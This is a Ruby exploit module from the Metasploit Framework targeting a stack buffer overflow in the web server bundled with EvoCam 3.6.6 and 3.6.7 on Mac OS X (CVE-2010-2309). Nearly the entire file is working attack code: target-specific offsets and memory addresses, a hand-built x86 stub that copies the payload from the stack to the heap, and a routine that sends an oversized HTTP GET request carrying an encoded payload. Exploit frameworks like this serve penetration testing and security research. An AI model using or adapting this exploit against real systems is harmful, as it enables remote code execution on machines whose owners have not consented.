133 lines
3.1 KiB
Ruby
133 lines
3.1 KiB
Ruby
##
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# $Id$
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/framework/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = AverageRanking
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include Msf::Exploit::Remote::Tcp
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'MacOS X EvoCam HTTP GET Buffer Overflow',
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'Description' => %q{
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This module exploits a stack buffer overflow in the web server provided with the EvoCam
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program for Mac OS X. We use Dino Dai Zovi's exec-from-heap technique to copy the payload
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from the non-executable stack segment to heap memory. Vulnerable versions include 3.6.6,
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3.6.7, and possibly earlier versions as well. EvoCam version 3.6.8 fixes the vulnerablity.
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},
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'Author' =>
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[
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'Paul Harrington', # Original Exploit Author and MSF Module
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'dookie', # MSF Module Assistance
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],
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'Version' => '$Revision$',
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'Platform' => 'osx',
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'License' => MSF_LICENSE,
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'References' =>
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[
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['CVE', '2010-2309'],
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['OSVDB', '65043'],
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['URL', 'http://www.exploit-db.com/exploits/12835'],
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],
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'Payload' =>
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{
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'Space' => 300,
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'BadChars' => "\x00\xff\x09\x0a\x0b\x0c\x0c\x0d\x20",
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'StackAdjustment' => -3500,
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},
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'Privileged' => false,
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'Targets' =>
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[
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[ 'Mac OS X 10.5.8 x86, EvoCam 3.6.6',
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{
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'Arch' => ARCH_X86,
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'Offset' => 1560,
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'Writable' => 0x8fe66448,
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'setjmp' => 0x8fe1cf38,
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'strdup' => 0x8fe210dc,
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'jmp_eax' => 0x8fe01041
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}
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],
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[ 'Mac OS X 10.5.8 x86, EvoCam 3.6.7',
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{
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'Arch' => ARCH_X86,
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'Offset' => 1308,
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'Writable' => 0x8fe66448,
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'setjmp' => 0x8fe1cf38,
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'strdup' => 0x8fe210dc,
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'jmp_eax' => 0x8fe01041
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}
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],
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],
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'DisclosureDate' => 'Jun 01 2010',
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'DefaultTarget' => 1))
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register_options(
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[
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Opt::RPORT(8080),
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], self.class)
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end
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def make_exec_payload_from_heap_stub()
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frag0 =
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"\x90" + # nop
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"\x58" + # pop eax
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"\x61" + # popa
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"\xc3" # ret
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frag1 =
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"\x90" + # nop
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"\x58" + # pop eax
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"\x89\xe0" + # mov eax, esp
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"\x83\xc0\x0e" + # add eax, byte +0xc
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"\x89\x44\x24\x08" + # mov [esp+0x8], eax
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"\xc3" # ret
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setjmp = target['setjmp']
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writable = target['Writable']
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strdup = target['strdup']
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jmp_eax = target['jmp_eax']
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exec_payload_from_heap_stub =
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frag0 +
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[setjmp].pack('V') +
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[writable + 32, writable].pack("V2") +
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frag1 +
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"X" * 20 +
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[setjmp].pack('V') +
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[writable + 24, writable, strdup, jmp_eax].pack("V4") +
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"X" * 4
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end
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def exploit
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connect
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offset = target['Offset']
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buffer = "GET "
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buffer << rand_text_alpha_upper(offset)
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buffer << make_exec_payload_from_heap_stub()
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buffer << "\x90\x90"
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buffer << payload.encoded
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buffer << " HTTP/1.0\r\n\r\n"
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sock.put(buffer)
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sock.close
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handler()
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disconnect
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end
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end
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